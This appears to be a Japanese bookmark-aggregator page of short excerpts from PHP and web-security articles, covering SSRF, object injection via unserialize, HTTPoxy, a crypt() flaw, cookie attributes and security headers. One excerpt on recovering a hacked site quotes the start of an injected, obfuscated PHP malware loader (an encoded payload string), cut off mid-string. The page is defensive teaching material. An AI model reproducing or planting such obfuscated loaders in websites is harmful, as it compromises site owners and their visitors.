安全なWebアプリケーションの作り方2018 - slideshareJSUG Spring Fest 2018の資料です。 OAuth 2.0については始めから解説しています。 Spring Security 5.1のクライアント機能・リソースサーバー機能を紹介しています。認可サーバーはKeycloakです。
徳丸浩の日記: SSRF(Server Side Request Forgery)徹底入門
SSRF(Server Side Request Forgery)という脆弱性ないし攻撃手法が最近注目されています。以下は、ここ3ヶ月にSSRFについて言及された記事です。 EC2上のAWS CLIで使われている169.254について SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例 SSRFを利用したメール送信ドメインの乗っ取り 「CODE BLUE 2018」参加レポート（岩間編） この「空前のSSRFブーム」に便乗して、SSRFという攻撃手法および脆弱性について説明します。 SSRF攻撃とは SSRF攻撃とは、攻撃者から直接到達できないサーバーに対する攻撃手法の一種です。下図にSSRF攻撃の様子を示します。 攻撃者からは、公開サーバー（203.0.113.2）にはアクセスできますが、内部のサーバー（192.168.0.5）はファイアウォールで隔離されているため外部から直接
セキュリティに関するヘッダを出力するPHPスクリプトの叩き台
Software WebSecurity セキュリティに関するヘッダを出力するPHPスクリプトの叩き台※当サイトにはプロモーションが含まれています。 はじめにセキュリティ関連のHTTPレスポンスヘッダを毎回調べて書くのが面倒なので、ここにまとめておくことにします。 PHPで何か書く時は レスポンスヘッダを出力するあたりに以下を書いておき、制限がキツいようだったら少しずつ緩めていくという使い方をイメージしています。 <?php // セッションクッキーに httponly 属性を設定 ini_set('session.cookie_httponly', 1); // セッションクッキーに secure 属性を設定 ini_set('session.cookie_secure', 1); session_start(); // JavaScriptの実行を許可する対象を 同一オリジンと cod
PHP Object Injection Attack / PHPオブジェクトインジェクションの攻撃 - http80
PHPオブジェクトインジェクション(PHP Object Injection)攻撃に関してまとめました。Webのインジェクション攻撃というと、SQLインジェクションやOSコマンドインジェクションなどが先に思い浮かびますが、PHPにはオブジェクトインジェクションと呼ばれるものがあります。 PHPにおけるオブジェクトインジェクションは、データのシリアライズに関係するunserialize関数を使用している場合、外部から安全でないシリアライズされた値が注入されることにより、脆弱性になりうる可能性があります。どのような影響があるかどうかは、コードの書き方によって様々です。 本稿は、独自の検証、調べによるもののため、厳密には誤りであったり、そもそも違っているということがあるかもしれません。 ●脆弱性を再現するコード 簡単に脆弱性を再現するコードを用意しました。次の攻撃シナリオはローカルのhostsフ
PHPの全バージョンの挙動をCGIモードで試す
PHPの挙動を調べていると、マニュアルにも、ChangeLogにも載っていない変更にしばしば遭遇します。たとえば、PCRE系関数（preg_xxxx）の正規表現指定（第1引数）において、過去のPHPではNULLバイトを許容していましたが、最近のPHPでは、正規表現中のNULLバイトをエラーにしています。この変更は、マニュアルには載っておらず、ChangeLogには記載されているもののNULLバイトとは書いていないので、ちょっと気がつきにくいですね。 Fixed bug #55856 (preg_replace should fail on trailing garbage) このような場合、ソースコードの該当箇所を調べるか、適当にあたりをつけたバージョンのPHPをビルドして試すなどの手法がとられているかと思いますが、@hnwさんが phpall を発表されたことで、この種の調査が一挙に楽に
安全なPHPアプリケーションの作り方2016
PHPカンファレンス2020での講演資料です。 アジェンダ 誤解1: Cookieは誤解がいっぱい 誤解2: 脆弱性があるページにのみ影響がある 誤解3: 脆弱なECサイトはセキュリティコードを保存している 誤解4: クレジットカードをサイトに保存すると漏洩リスクが高まる 誤解5: ハッシュ値で保存されたパスワードは復元されない 誤解6: 高価なSSL証明書ほど暗号強度が高い 誤解7: TRACEメソッドの有効化は危険な脆弱性である 誤解8: 怪しいサイトを閲覧すると情報が盗まれたりウイルスに感染する 誤解9: イントラのウェブサイトは外部からは攻撃できない 誤解10: セキュリティ情報はウェブで収集する
PHPのリリース日とサポート期限 - Qiita
PHP 7.0 は2018年12月3日に公式のセキュリティサポートが終了し、その前の2018年9月13日に 7.0 系最終リリースとなるはずだった 7.0.32 が公開された。しかし、セキュリティサポート終了後の2018年12月6日に 7.0.33 が公開された。 PHP 5.6 の公式のセキュリティサポートは当初2017年8月28日まで 4 だったが、5系最後のリリースであることを理由に 5 2016年始めに2018年末まで延期された。6 2018年12月6日にリリースされた 5.6.39 が最終リリースになるはずだったが、セキュリティサポート終了後の2019年1月10日に昔のよしみ (for old time's sake)で 5.6.40 がリリースされた。 7 PHP 5.5 は2016年7月10日に公式のセキュリティサポートが終了し、その前の2016年6月23日に 5.5 系最終
PHPに関するHTTPOXY脆弱性の問題と対応方法 - Code Day's Night
外部から簡単にHTTP_PROXYという環境変数がセットでき、サーバ間通信や外部サイトと連携している場合に影響があるかもしれない脆弱性です。(HTTPoxy. CVE-2016-5385) PHPの場合はphp-fpm, mod_php, Guzzle4以上やいくつかのライブラリで影響あります。 対応方法は簡単です。 Apache側で対応する場合は、mod_headerを使える状況であれば、confファイルに下記の1行を追加。 RequestHeader unset Proxy FastCGIの場合は下記の1行を追加。 fastcgi_param HTTP_PROXY ""; Guzzleは6.2.1で対応されたようです。 Release 6.2.1 release · guzzle/guzzle · GitHub コミットログを見ると、CLIの時のみ、getenv('HTTP_PROXY
PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる
既にいくつかの記事で指摘がありますが、PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になります。 しかし、ブログ記事等を見ていると、外部由来の値をunserialize関数に処理させているケースが多くあります。 ユースケースの一例としては、「複数の値をクッキーにセットする方法」として用いる場合です。 PHP クッキーに複数の値を一括登録する方法という記事では、以下の方法で複数の値をクッキーにセットしています。 $status = array( "height" => 167, "weight" => 50, "sight" => 1.2 ); setcookie("status", serialize($status)); クッキーの受け取り側は以下のコードです。 print_r(unserialize($_COOKIE['status'])); 出力結果は以下
SSL で暗号化しても Cookie で secure 属性を指定しないと盗聴される可能性があるかもしれない
堅牢なお問い合わせフォームを作ることになり、規定書に Cookie には secure 属性を指定してねとありました。secure 属性なんて初めて聞いたので、ちょっと調べてみたところ、secure 属性以外にも expires 属性とかいろいろありますけど、知ってるやと思ったらこれも危険に繋がるみたい。 secure 属性って何 これを指定すると HTTPS の通信時のみクッキーを送信します。逆に指定しなければ HTTPS の時に作った Cookie が HTTP の時に見ることができてしまい、盗聴されることに繋がりますね。 expires 属性って何 クッキーの有効期限を指定するものなんですが、指定しなければブラウザを閉じたときは Cookie は破棄になるんですが、有効期限を指定した場合に危険があるみたいです。 この属性が指定されていなければ，ブラウザを起動していないユーザーが被害に
脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
PHP5.3.7のcrypt関数に致命的な脆弱性(Bug #55439)
PHP5.3.7のcrypt関数には致命的な脆弱性があります。最悪のケースでは、任意のパスワードでログインできてしまうという事態が発生します。該当する利用者は、至急、後述する回避策を実施することを推奨します。 概要 PHPのcrypt関数は、ソルト付きハッシュ値を簡単に求めることができます（公式リファレンス）。crypt関数のハッシュアルゴリズムとしてMD5を指定した場合、ソルトのみが出力され、ハッシュ値が空になります。これは、crypt関数の結果がソルトのみに依存し、パスワードには影響されないことを意味し、crypt関数を認証に用いている場合、任意のパスワードでログインに成功する可能性があります。 影響を受けるアプリケーション crypt関数を用い、ハッシュアルゴリズムとしてMD5を指定しているアプリケーション。 環境にも依存しますが、デフォルトがMD5の場合もあります。筆者のテスト環境
もし『よくわかるPHPの教科書』の著者が徳丸浩の『安全なWebアプリケーションの作り方』を読んだら - ockeghem's blog
たにぐちまことさんの書かれた『よくわかるPHPの教科書（以下、「よくわかる」）』を購入してパラパラと見ていたら、セキュリティ上の問題がかなりあることに気がつきました。そこで、拙著「体系的に学ぶ 安全なWebアプリケーションの作り方（以下、徳丸本）」の章・節毎に照らし合わせて、「よくわかる」の脆弱性について報告します。主に、徳丸本の4章と5章を参照します。 4.2 入力処理とセキュリティ 「よくわかる」のサンプルや解説では、入力値検証はほとんどしていません。しかし、入力値検証をしていないからといって即脆弱かというとそうではありません。徳丸本でも強調しているように、入力値検証はアプリケーション要件（仕様）に沿っていることを確認するもので、セキュリティ対策が目的ではないからです。 「よくわかる」の中で、私が見た範囲で唯一の入力値検証は、郵便番号のチェックをするものです。以下に引用します（「よくわ
実は厄介、ケータイWebのセッション管理
実は厄介、ケータイWebのセッション管理：再考・ケータイWebのセキュリティ（3）（1/3 ページ） “特殊だ”と形容されることの多い日本の携帯電話向けWebサイト。そこには、さまざまな思い込みや性善説の上しか成り立たないセキュリティが横行しています。本連載は、ケータイWebの特殊性をていねいに解説し、正しいケータイWebセキュリティのあるべき姿を考えます（編集部） 「Cookieを使えない端末」でセッションを管理する方法は？ 第2回「間違いだらけの『かんたんログイン』実装法」ですが、多くの方に読んでいただきありがとうございました。 今回は、前回に引き続き架空のSNSサイト「グダグダSNS」のケータイ対応を題材として、ケータイWebのセッション管理の問題点について説明します。携帯電話向けWebアプリケーション（ケータイWeb）のセッション管理は、かんたんログインよりも対策が難しく、厄介な問
PHPで誰でも簡単Webサービス製作！でなんか作って公開した奴ちょっと来い - 甘味志向＠はてな
タイトルは出来れば関連する方に読んで欲しかったので、軽く釣り針にしました。すみません。:*) 最近はやりのヒウィッヒヒー（Twitter）でも、よく「○○ったー」みたいなサービスがばんばん登場してますね！ おかげでますますツイッターが面白い感じになってて、いい流れですね！ でも･･･ちょっと気になることが･･･ 最近「もうプログラマには頼らない！簡単プログラミング！」だとか･･･ 「PHPで誰でも簡単Webサービス作成！」だとか･･･ はてなブックマークのホッテントリで見かけますよね･･･ プログラミングする人が増えるのは素敵です！レッツ･プログラミングなう！ なんですけど･･･ ちゃんとセキュリティのこと考えてますか･･･！？ 『セキュリティ対策とか難しいし面倒くせーし、俺の適当に作ったサービスとかどうなってもイイしｗｗ』 いいんですいいんです！ 別にそう思ってるならどうでもいいんです！
もっとも危ないプログラミングエラー25、+16 | エンタープライズ | マイコミジャーナル
CWE is a Software Assurance strategic initiative sponsored by the National Cyber Security Division of the U.S. Department of Homeland Security. CWE - 2010 CWE/SANS Top 25 Most Dangerous Programming Errorsにおいて脆弱性の原因となる危険なプログラミングエラー25が発表された。開発者にセキュリティ問題の原因となるプログラミングに関する注意を促し、実際にソフトウェアが動作する前の段階で問題を発見し対処できるようにすることを目指したもの。2009年に発表されたリストの更新版にあたり、内容の多くが更新されている。2009年版を使っていた場合には、今回発表された2010年版を再度検討する価値がある。
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
共用サーバにおけるSymlink Attacksによる攻撃とその対策について - さくらインターネット創業日記
PHP4 セキュリティ保守サービス - SRA OSS, Inc. 日本支社
徳丸本に載っていないWebアプリケーションセキュリティ
ウェブアプリのセキュリティをちゃんと知ろう
